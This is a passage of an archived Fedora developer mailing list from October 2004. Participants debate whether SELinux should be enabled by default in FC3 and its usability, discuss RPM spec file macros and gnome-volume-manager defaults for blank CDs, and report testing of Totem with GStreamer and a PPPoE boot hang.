policy allows a bit more than you would want. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From linux_4ever at yahoo.com Thu Oct 7 17:15:08 2004 From: linux_4ever at yahoo.com (Steve G) Date: Thu, 7 Oct 2004 10:15:08 -0700 (PDT) Subject: SRPM's and determining spec file In-Reply-To: <1097168160.16929.11.camel@bobcat.mine.nu> Message-ID: <20041007171508.68665.qmail@web50604.mail.yahoo.com> >"rpm -i" on a source rpm will place the real specfile in %_specdir >(/some/where/SPECS), and all sources in %_sourcedir >(/some/where/SOURCES). Not really. This is configurable. Create a .rpmmacros file in the build acct's home directory. Add these: %_sourcedir %{_topdir}/%{name} %_specdir %{_sourcedir} This way all source and spec files wind up in a sane place after rpm -i. This makes the find command work much better. ;) -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From ville.skytta at iki.fi Thu Oct 7 17:17:13 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Thu, 07 Oct 2004 20:17:13 +0300 Subject: SRPM's and determining spec file In-Reply-To: <20041007171508.68665.qmail@web50604.mail.yahoo.com> References: <20041007171508.68665.qmail@web50604.mail.yahoo.com> Message-ID: <1097169433.16929.16.camel@bobcat.mine.nu> On Thu, 2004-10-07 at 20:15, Steve G wrote: > >"rpm -i" on a source rpm will place the real specfile in %_specdir > >(/some/where/SPECS), and all sources in %_sourcedir > >(/some/where/SOURCES). > > Not really. This is configurable. Yes, that's why I referred to the macros (but obviously forgot "by default eg." in the examples). From sds at epoch.ncsc.mil Thu Oct 7 17:15:12 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 13:15:12 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097169071.2789.32.camel@laptop.fenrus.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> <1097168409.13339.158.camel@moss-spartans.epoch.ncsc.mil> <1097169071.2789.32.camel@laptop.fenrus.com> Message-ID: <1097169312.13339.164.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 13:11, Arjan van de Ven wrote: > while that is true it sure should be possible to have a policy that can > be used by default and doesn't change existing "this works" practice. > Even if that policy allows a bit more than you would want. Hmmm...well, what I heard one person say was "apache can read everything the customer can write" (and possibly worse, it may have been "apache can read or write or execute anything the customer can write"). You can certainly adjust the apache policy to fit that model, but I doubt you want it as the default. -- Stephen Smalley National Security Agency From fedora-devel-list at cygnusx-1.org Thu Oct 7 17:19:52 2004 From: fedora-devel-list at cygnusx-1.org (Nathan Grennan) Date: Thu, 07 Oct 2004 10:19:52 -0700 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097169071.2789.32.camel@laptop.fenrus.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> <1097168409.13339.158.camel@moss-spartans.epoch.ncsc.mil> <1097169071.2789.32.camel@laptop.fenrus.com> Message-ID: <1097169592.9722.21.camel@ws.1sttier.net> On Thu, 2004-10-07 at 19:11 +0200, Arjan van de Ven wrote: > On Thu, 2004-10-07 at 19:00, Stephen Smalley wrote: > > Or alternatively, customize the policy to fit your needs. That is why > > SELinux is flexible - because no single policy meets everyone's needs. > > while that is true it sure should be possible to have a policy that can > be used by default and doesn't change existing "this works" practice. > Even if that policy allows a bit more than you would want. > If such a policy can me made I would be happy. In the beginning I thought SELinux sounded good, but experience with it suggests that writing policy to such a fine-grained is just too labor intensive and problematic. From fedora at wir-sind-cool.org Thu Oct 7 17:36:54 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Thu, 7 Oct 2004 19:36:54 +0200 Subject: SRPM's and determining spec file In-Reply-To: <1097166646.16929.3.camel@bobcat.mine.nu> References: <20041006200040.12646.qmail@web50604.mail.yahoo.com> <1097166646.16929.3.camel@bobcat.mine.nu> Message-ID: <20041007193654.42542a79.fedora@wir-sind-cool.org> On Thu, 07 Oct 2004 19:30:47 +0300, Ville Skytt? wrote: > On Wed, 2004-10-06 at 23:00, Steve G wrote: > > >What do you do if there's more than one spec file? > > > > What srpm has more than one? > > Can't tell offhand, but for example there at least used to be a > guideline in www.fedora.us somewhere stating that if providing an update > over a Fedora Core package, the original unmodified upstream (FC) > specfile should be included as a source in the SRPM. Can't find that > now, though. And in case it still exists, I hope it suggests renaming the old spec file *.spec.old or something like that. But activity in the "patches" repository [1] has stopped a long time ago, and we don't have any place for Fedora Alternatives yet. [1] http://download.fedora.us/patches/ -- Fedora Core release 2.91 (FC3 Test 2) - Linux 2.6.8-1.541 loadavg: 1.17 1.17 1.30 From johnp at redhat.com Thu Oct 7 17:39:45 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 07 Oct 2004 13:39:45 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <20041007183826.2c9ed6d9@nausicaa.camperquake.de> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <20041007183826.2c9ed6d9@nausicaa.camperquake.de> Message-ID: <1097170785.22577.8.camel@remedyz.boston.redhat.com> On Thu, 2004-10-07 at 18:38 +0200, Ralf Ertzinger wrote: > Hi. > > "John (J5) Palmieri" wrote: > > > bunch of burn:// folders. Since you get a CD icon on the desktop which > > you can double click to open up the burn:// folder I am wondering if I > > should turn this off by default. I am of no opinion either way so I > > want to see how everyone else feels. > > Is that the same option that can be disabled via Preferences/Removable > Storage? Yes. > -- > If you can keep your head when all about you men are losing theirs... > then perhaps you haven't grasped the full severity of the situation. > -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From johnp at redhat.com Thu Oct 7 17:45:19 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 07 Oct 2004 13:45:19 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <604aa791041007093736233066@mail.gmail.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <604aa791041007093736233066@mail.gmail.com> Message-ID: <1097171119.22577.15.camel@remedyz.boston.redhat.com> On Thu, 2004-10-07 at 12:37 -0400, Jeff Spaleta wrote: > On Thu, 07 Oct 2004 12:02:57 -0400, John (J5) Palmieri wrote: > > I wanted to get the Fedora communities opinion on popping up a burn:// > > folder when a blank CD is inserted into the drive. Right now we pop it > > up which makes sense because if you pop in a blank CD most likely you > > want to burn to it. Problems come in when a user is using browser mode > > in Nautilus. If you pop the CD in and out a couple of times you get a > > bunch of burn:// folders. Since you get a CD icon on the desktop which > > you can double click to open up the burn:// folder I am wondering if I > > should turn this off by default. I am of no opinion either way so I > > want to see how everyone else feels. > > 1) what toggle in the volume management preference gui turns the burn > window appearing on and off? Preference/Removable Storage/"Preform action on blank CDs when inserted" > 2) Considering that browser mode is NOT the default mode of operation, > i find it difficult to justify turning off a default setting because > its not ideal for browser mode. So any argument as to why it should or > shouldn't be on by default in context of a default desktop experience > holds large buckets more water than any discussion primarily backed by > whats happening in non-default nautilus browser mode. What matters is > if all the defaults together make for the best experience. If someone > sets nautilus to browser mode and finds the volume management defaults > to no longer be ideal, they are free to reconfigure volume management > settings as well to create the customized experience they like best. It also has to do with is it really all that more usable popping up the burn window when they can just double click the icon like any other app. Another problem I could see is a user pops in a CD to burn from RhythmBox but uses burn:// to burn occasionally it might get annoying having the window pop up and they have to close it. > 3)I say if it makes sense to open up a window for other types of media > by default then it should make sense for blank media as well. I > personally hate having any window open by default for any media...but > I'm not going to suggest my personal preference should be the default. > I'm not overly burdened by toggling the volume management preferences > to suit my tastes. But I think consistency on handling all media in a > similar way is important. So if by default if data cds are going to > open up a window, i think blank cds should as well. To underscore that > fact, I think people unfamiliar with nautilus's cd burning features > are going to benefit by seeing a burn window open up for them. Ok, good points. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From cmadams at hiwaay.net Thu Oct 7 17:46:35 2004 From: cmadams at hiwaay.net (Chris Adams) Date: Thu, 7 Oct 2004 12:46:35 -0500 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097168200.13339.152.camel@moss-spartans.epoch.ncsc.mil> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <604aa79104100709077fe8d03e@mail.gmail.com> <1097168200.13339.152.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <20041007174635.GH1411660@hiwaay.net> Once upon a time, Stephen Smalley said: > > For example lftp client understands chmod. does it understand restorecon? > > Not yet, AFAIK. Nor will it likely ever if SELinux is disabled by > default and it remains limited to a very small user community. That doesn't really have much to do with SELinux being enabled or disabled; it has more to do with coming up with a standard FTP extension to handle additional security settings, getting it in an RFC, and getting software authors to implement it. It could be done as a SITE command, but it still needs to be well-specified before anyone would support it. The basic fact is that FTP isn't going away for a long time to come. With things like Kerberos and IPsec or even STARTTLS, FTP doesn't need to go away. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From johnp at redhat.com Thu Oct 7 17:47:07 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 07 Oct 2004 13:47:07 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097166990.17313.14.camel@marte.biciclete.ro> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097166990.17313.14.camel@marte.biciclete.ro> Message-ID: <1097171227.22577.17.camel@remedyz.boston.redhat.com> On Thu, 2004-10-07 at 19:36 +0300, Marius Andreiana wrote: > A problem I noticed: I've set gnome-volume-manager to open k3b instead > of burn:// > When burning 1st CD it went ok. When inserting the 2nd CD, k3b is opened > again although it was already open. Could it check first if the > application specified by user is already running? > > Maybe this solves multiple burn:// folders too. > I don't know how to check in a reliable way if the application is > already running. ps aux|grep username|grep works usually, > but it's ugly. It won't work for burn:// > There is locking code in hal now that an app can use to give advisory locks on a cd device. g-v-m respects this. k3b needs to be updated to set and unset these locks. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From johnp at redhat.com Thu Oct 7 17:48:14 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 07 Oct 2004 13:48:14 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097166690.5310.3.camel@localhost.localdomain> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097166690.5310.3.camel@localhost.localdomain> Message-ID: <1097171294.22577.19.camel@remedyz.boston.redhat.com> On Thu, 2004-10-07 at 12:31 -0400, Clyde E. Kunkel wrote: > On Thu, 2004-10-07 at 12:02 -0400, John (J5) Palmieri wrote: > > I wanted to get the Fedora communities opinion on popping up a burn:// > > folder when a blank CD is inserted into the drive. Right now we pop it > > up which makes sense because if you pop in a blank CD most likely you > > want to burn to it. Problems come in when a user is using browser mode > > in Nautilus. If you pop the CD in and out a couple of times you get a > > bunch of burn:// folders. Since you get a CD icon on the desktop which > > you can double click to open up the burn:// folder I am wondering if I > > should turn this off by default. I am of no opinion either way so I > > want to see how everyone else feels. > > > > -- > > John (J5) Palmieri > > Associate Software Engineer > > Desktop Group > > Red Hat, Inc. > > Blog: http://martianrock.com > > > > I find the pop-up somewhat annoying since I use k3b. I vote for turning > it off. You have the ability to turn it off. I don't think this is a compelling reason to turn it off by default. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From walters at redhat.com Thu Oct 7 17:55:31 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 13:55:31 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097169071.2789.32.camel@laptop.fenrus.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> <1097168409.13339.158.camel@moss-spartans.epoch.ncsc.mil> <1097169071.2789.32.camel@laptop.fenrus.com> Message-ID: <1097171731.8543.32.camel@nexus.verbum.private> On Thu, 2004-10-07 at 19:11 +0200, Arjan van de Ven wrote: > On Thu, 2004-10-07 at 19:00, Stephen Smalley wrote: > > Or alternatively, customize the policy to fit your needs. That is why > > SELinux is flexible - because no single policy meets everyone's needs. > > while that is true it sure should be possible to have a policy that can > be used by default and doesn't change existing "this works" practice. > Even if that policy allows a bit more than you would want. The standard apache policy tries to capture a "typical" Apache setup. There will always be people doing things outside these bounds; I saw a bug report from someone who had configured Apache to load modules from his user's home directory. We never want SELinux to get to the point where all these weird things people do work out of the box, because then it's equivalent to no protection at all. Apache is an extremely flexible piece of software. One thing I think that's often misunderstood is that SELinux is explicitly designed to be a layer explicitly *separate* from the Unix configuration. This does mean you might have to configure something twice - if you want Apache to bind on some weird port, you will have to do that both in httpd.conf and in the SELinux policy. But the flip side of this, and it's a very important feature I think, is that it allows you to separate the job of administering Apache from the system security policy. For example, with SELinux you can give someone full access to Apache configuration *without* giving them the equivalent of root system access. They can load any modules they want, change the MIME setup, use mod_rewrite, whatever. But they can't use Apache to escalate their privileges beyond what the system security policy allows. You just can't do that with sudo or whatever. One main point of the "The Inevitablity Of Failure" is that a misconfigured daemon is not fundamentally different from a compromised one. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Thu Oct 7 17:51:44 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 07 Oct 2004 19:51:44 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097166990.17313.14.camel@marte.biciclete.ro> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097166990.17313.14.camel@marte.biciclete.ro> Message-ID: <1097171503.2735.1.camel@kyrre> That is a problem i have noticed with several programs. They should really check if they are already running. God know how many times i have started a (borked) extra-evolution because i forgot i had another one open at another desktop - hitting the evo icon should really just bring foreward the evo already on-line tor, 07.10.2004 kl. 18.36 skrev Marius Andreiana: > A problem I noticed: I've set gnome-volume-manager to open k3b instead > of burn:// > When burning 1st CD it went ok. When inserting the 2nd CD, k3b is opened > again although it was already open. Could it check first if the > application specified by user is already running? > > Maybe this solves multiple burn:// folders too. > I don't know how to check in a reliable way if the application is > already running. ps aux|grep username|grep works usually, > but it's ugly. It won't work for burn:// > > > -- > Marius Andreiana > Galuna - Solutii Linux in Romania > http://www.galuna.ro From walters at redhat.com Thu Oct 7 18:02:41 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 14:02:41 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007163602.GA6445@redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@[10.169.6.246]> <20041007153028.GG1411660@hiwaay.net> <1097164330.8543.10.camel@nexus.verbum.private> <20041007163602.GA6445@redhat.com> Message-ID: <1097172161.8543.39.camel@nexus.verbum.private> On Thu, 2004-10-07 at 17:36 +0100, Joe Orton wrote: > That's surely not the whole story if SELinux is on by default and Apache > is covered by the targetted policy. The fact seems to be that you have > to know and understand SELinux to be able to do the normal things you do > with Apache, e.g. write CGI scripts, or change httpd.conf. I can't help > thinking this will be a large source of user confusion. That's absolutely true. We're trying to fundamentally improve Linux security here, and people will have to learn new things. But with the targeted policy and boolean support, it's also extremely easy to turn off enforcement just for Apache if you like; run system-config- securitylevel or setsebool httpd_disable_trans true. Yet another alternative is to just run in permissive mode and figure out what you need to change to alter the policy for your needs. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From elanthis at awesomeplay.com Thu Oct 7 18:30:40 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Thu, 07 Oct 2004 14:30:40 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097144718.3967.97.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> Message-ID: <1097173840.14264.1.camel@support02.civic.twp.ypsilanti.mi.us> On Thu, 2004-10-07 at 12:25 +0200, Alexander Larsson wrote: > On Wed, 2004-10-06 at 23:10 +0200, Ronald S. Bultje wrote: > > Hi, > > > > Today, the GStreamer team has released new versions of their GStreamer > > core and plugins. Also, Bastien Nocera has released a new version of > > Totem, which features a largely rewritten GStreamer backend, amongst > > others. There has been a news posting about this on gnomedesktop.org. > > We're convinced that the current combination of these is the best > > legally shippable playback application that has been created so far. It > > might not match mplayer yet, but it's pretty, stable, extensible [1], > > fits well with the rest of the GNOME desktop and, not unimportant, it > > will playback quite a few movies and webstreams by default already > > (Ogg/Theora, in particular). Also, it's actively developed and > > maintained by a large amount of developers (look at the GStreamer > > plugins contributor list, for example). > > > > How would you guys feel about including this in Fedora Core? It would > > add a missing piece to the desktop. We're also considering to propose > > Totem for inclusion in GNOME 2.10. > > I updated rawhide to the latest gstreamer and gstreamer-plugins (not > pushed yet) and built a package for totem. All required rpms are at: > > http://people.redhat.com/alexl/RPMS/totem/ > > Can people test this and see if it works well? I'm having a problem where totem isn't displaying anything normally; just a black area where the video should be. If I popup a menu or move another window over totem, the video flickers in and out of existence. Sometimes it'll stay afterwards, most of the time it won't. The video is always visible when I display it in fullscreen mode. This is on a freshly updated system as of 30 minutes ago. > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Alexander Larsson Red Hat, Inc > alexl at redhat.com alla at lysator.liu.se > He's an uncontrollable shark-wrestling master criminal who dotes on his loving > old ma. She's a brilliant mutant barmaid from a family of eight older > brothers. They fight crime! > -- Sean Middleditch AwesomePlay Productions, Inc. From elanthis at awesomeplay.com Thu Oct 7 17:05:23 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Thu, 07 Oct 2004 13:05:23 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097166990.17313.14.camel@marte.biciclete.ro> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097166990.17313.14.camel@marte.biciclete.ro> Message-ID: <1097168724.9067.11.camel@support02.civic.twp.ypsilanti.mi.us> On Thu, 2004-10-07 at 19:36 +0300, Marius Andreiana wrote: > A problem I noticed: I've set gnome-volume-manager to open k3b instead > of burn:// > When burning 1st CD it went ok. When inserting the 2nd CD, k3b is opened > again although it was already open. Could it check first if the > application specified by user is already running? Not really. K3B needs to be corrected to not open multiple copies of itself, not g-v-m. > > Maybe this solves multiple burn:// folders too. I imagine it would be possible for Nautilus to say, "oh, burn:// is already open, let's just focus that window." Of course, you then have one of the primary features of spatial file management... I don't particularly think Nautilus has any business burning CDs, but that's not my call, and this is the wrong list to discuss it anyways. > I don't know how to check in a reliable way if the application is > already running. ps aux|grep username|grep works usually, > but it's ugly. It won't work for burn:// The proper solution is for the application itself to use that desktop frameworks' existing solution to the problem. Anything else is not really guaranteed to work, at least not portably. The shell line you gave can easily break in dozens of different scenarios, and the other method I can think of would be OS-specific. (Scanning the running processes to see which binary it is running.) -- Sean Middleditch AwesomePlay Productions, Inc. From icon at linux.duke.edu Thu Oct 7 18:30:39 2004 From: icon at linux.duke.edu (Konstantin Ryabitsev) Date: Thu, 07 Oct 2004 14:30:39 -0400 Subject: Linux@DUKE Nosrc-RPM project. Message-ID: <1097173839.12759.11.camel@hagrid.phy.duke.edu> Hello, everyone: A while ago we were talking about packaging proprietary software. Since I've had to do a lot of it for Duke, I've cleaned up our specfiles and extra sources and released them as .nosrc.rpm packages so others can use them and not re-invent the wheel. They are released as part of Linux at DUKE Nosrc-RPM project and can be found here: http://linux.duke.edu/projects/nosrc-rpm/ Everyone is invited to use them for making their own packages. I've put a lot of work into trying to make them sane, but if someone has any comments, please feel free to email me. (also sent to univ-linux mailing list). Regards, -- Konstantin ("Icon") Ryabitsev Duke University Physics Sysadmin -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 307 bytes Desc: This is a digitally signed message part URL: From elanthis at awesomeplay.com Thu Oct 7 17:23:44 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Thu, 07 Oct 2004 13:23:44 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097168200.13339.152.camel@moss-spartans.epoch.ncsc.mil> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <604aa79104100709077fe8d03e@mail.gmail.com> <1097168200.13339.152.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <1097169825.9067.23.camel@support02.civic.twp.ypsilanti.mi.us> On Thu, 2004-10-07 at 12:56 -0400, Stephen Smalley wrote: > On Thu, 2004-10-07 at 12:07, Jeff Spaleta wrote: > > I think there is a point here too.. but let me rephrase it by asking a > > question. Is there ever any value in having files in a path NOT be > > the correct security context for that path? > > Yes, there is value in customizing your file contexts beyond the default > settings. The point of the original question (as I interpreted it), is there value in having mv, rename, and similar operations not update the file's security context to the correct one of the new path? In the case where the file *should* have a different security context than other files have by default in that path, then the user/admin can manually change things. The common operation should have the expected result. So, the question is, shouldn't the desired behavior of the mv, rename, and similar operations be to update the context of the file by default? > > > Are there tools in userspace with 'reasonable' ui that would let a > > user manually change context on a subset of files contrary to what > > restorecon would do? If there is a lack of tools that let users > > delibrately create out of sync security contexts, thats a major > > difference between how ownership and permissions are handled. > > chcon(1) is the equivalent to chown/chmod. > > Mandatory access control is a (to steal a term) disruptive technology, > but one that is fundamentally necessary if one is ever going to be able > to effectively control or even reliably monitor what is truly happening > on computing systems. With only DAC, the code that acts on our behalf > operates without any restraint and with precious little protection > against subversion. If you want to have a hope of confining the damage > caused by flawed and/or malicious program, protecting your application > security mechanisms against tampering and bypass, separating your > sensitive information from your public information, protecting > information on which your operations depend from corruption, or ensuring > that your data is processed as required, then MAC is a necessary > building block, not optional. Most people do not complain about MAC due to the fact that it does what it does. Most complaints on SELinux are because it's far too complex to get it to do what it does. Complexity is the bane of security. Lack of education on security is the biggest security problem of them all. SELinux adds a lot of complexity and increases the amount of education a user/admin needs to operate a secured system. The SELinux configuration syntax makes it vastly too difficult to configure things for the common case. The format makes it possible to do just about anything, yes, but when you just know that binary foo only needs to do X and Y to files A and B, it requires an extensive background in SELinux to be able to configure properly. Simplifying the config syntax could make SELinux far more usable. The current syntax requires the admin to think in terms of SELinux mechanics, not in terms of what they want the system to do. You can't just write "/bin/foo can only perform read operations, and only on /etc/foo.rc," you need to write, "/bin/foo is this context, /etc/foo.rc is this context, and the traits between these are this" and so on. Low-level implementation details are directly exposed. It's a poor design that only makes sense to the SELinux designers. Think user interface design and usability. The config files are the SELinux user interface exposed to administrators. It should be a syntax and format that is ideal for how administrators think and the work they want to do, not a syntax and format that is ideal for SELinux developers. A security system that is too complicated to use properly can be a lot worse than a weaker security system that its users can easily understand and configure. Design the exposed UI for the end users of the system. Don't just expose the raw UI that developers understand. And the config files are definitely UI. > > As far as freedom is concerned, one always has the option of disabling > SELinux at install time or post-install; I don't think anyone has any > plans to change that. But disabling by default has a huge impact on > uptake of this disruptive technology and on bringing sufficient > resources to bear to fully integrate it into the entire system. > > -- > Stephen Smalley > National Security Agency > -- Sean Middleditch AwesomePlay Productions, Inc. From pp at ee.oulu.fi Thu Oct 7 18:31:40 2004 From: pp at ee.oulu.fi (Pekka Pietikainen) Date: Thu, 7 Oct 2004 21:31:40 +0300 Subject: rp-pppoe/initscripts/broken PPPoE annoyance Message-ID: <20041007183140.GA19491@ee.oulu.fi> Hiya I'm wondering if I'm the only one annoyed by rp-pppoe (#134923)/udev (#131114)/whatnot bug of the day/provider flakyness that makes the system get stuck on boot while trying to get PPPoE up. (sysrq kill-everything or booting in interactive mode and skipping networking fortunately gets around this so whatever was the problem can be repaired) What's especially evil is that this happens before syslogd is up -> no useful debug output on the console. Not sure what the proper solution would be or whether this even is a bug (the bugs that have triggered this behaviour for me are fixed, sure). A simple workaround is just using ONBOOT=no and putting "ifup &" in rc.local. Other options would be to have an option for ifuping interfaces in the background (some distros apparently do this), another to change adsl-start to try a few times and if it still fails either give up or continue trying in the backgruond. Comments? -- Pekka Pietikainen From walters at redhat.com Thu Oct 7 18:50:36 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 14:50:36 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097169825.9067.23.camel@support02.civic.twp.ypsilanti.mi.us> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <604aa79104100709077fe8d03e@mail.gmail.com> <1097168200.13339.152.camel@moss-spartans.epoch.ncsc.mil> <1097169825.9067.23.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <1097175036.8543.54.camel@nexus.verbum.private> On Thu, 2004-10-07 at 13:23 -0400, Sean Middleditch wrote: > On Thu, 2004-10-07 at 12:56 -0400, Stephen Smalley wrote: > > On Thu, 2004-10-07 at 12:07, Jeff Spaleta wrote: > > > I think there is a point here too.. but let me rephrase it by asking a > > > question. Is there ever any value in having files in a path NOT be > > > the correct security context for that path? > > > > Yes, there is value in customizing your file contexts beyond the default > > settings. > > The point of the original question (as I interpreted it), is there value > in having mv, rename, and similar operations not update the file's > security context to the correct one of the new path? Yes. As Stephen said, moving a file doesn't change its DAC permissions, so it shouldn't change its MAC label either. > The common operation should have the expected result. So, the question > is, shouldn't the desired behavior of the mv, rename, and similar > operations be to update the context of the file by default? You might as well argue that moving a file into ~/public_html should make it automagically readable by Apache, even if the file mode is 600. > Most people do not complain about MAC due to the fact that it does what > it does. Most complaints on SELinux are because it's far too complex to > get it to do what it does. Complexity is the bane of security. Lack of > education on security is the biggest security problem of them all. > SELinux adds a lot of complexity and increases the amount of education a > user/admin needs to operate a secured system. One certainly needs to learn more, but fundamental advancements like this will always require learning new things. That's just life. > The SELinux configuration syntax makes it vastly too difficult to > configure things for the common case. The format makes it possible to > do just about anything, yes, but when you just know that binary foo only > needs to do X and Y to files A and B, There is a *lot* more than just files that require protection. Processes, file descriptors, ports, sysv shmem, etc. > Simplifying the config syntax could make SELinux far more usable. The > current syntax requires the admin to think in terms of SELinux > mechanics, not in terms of what they want the system to do. You can't > just write "/bin/foo can only perform read operations, and only > on /etc/foo.rc," Having something like that in the policy would add more confusion, because it would be a huge special case. The SELinux policy is simple in that the essentials only deal with types - there is the same conceptual model for files, as well as processes, TCP ports, etc. This would also make it much harder to write a tool like apol which can analyze a security policy to determine information flow - can my web administrator with control over httpd_t access any nurse_t processes or any health_record_t files? > you need to write, "/bin/foo is this > context, /etc/foo.rc is this context, and the traits between these are > this" and so on. Low-level implementation details are directly exposed. It's not "implementation details" - types are fundamental to understanding and using MAC, they cannot be hidden. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From felipe_alfaro at linuxmail.org Thu Oct 7 18:52:55 2004 From: felipe_alfaro at linuxmail.org (Felipe Alfaro Solana) Date: Thu, 7 Oct 2004 20:52:55 +0200 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> Message-ID: <1972C54A-1892-11D9-8441-000D9352858E@linuxmail.org> On Oct 7, 2004, at 18:40, David Hollis wrote: > Not to put SELinux in bad company, but the level of security provided > by > SELinux is very similar to what is provided by the Windows NT/XP > security system and that doesn't seem to bother people too much. Of > course, MS essentially turns it off to prevent that! That's esentially wrong. Windows does support Discretionary Access Control which, althogh it's a little bit more advanced than UNIX DAC, it's not Mandatory Access Control. Don't get confused: SELinux is Mandatory Access Control, while uid/gid/masks are Discretionary Access Control. They are such different beasts: With DAC, permissions over resources are managed by their owners (root or users). In a MAC-based system, a policy governs how the system security behaves, and the policy is set up by an administrator and obeyed by everyone. From jorton at redhat.com Thu Oct 7 18:58:20 2004 From: jorton at redhat.com (Joe Orton) Date: Thu, 7 Oct 2004 19:58:20 +0100 Subject: DAV In-Reply-To: <20041007165136.GA9811@devserv.devel.redhat.com> References: 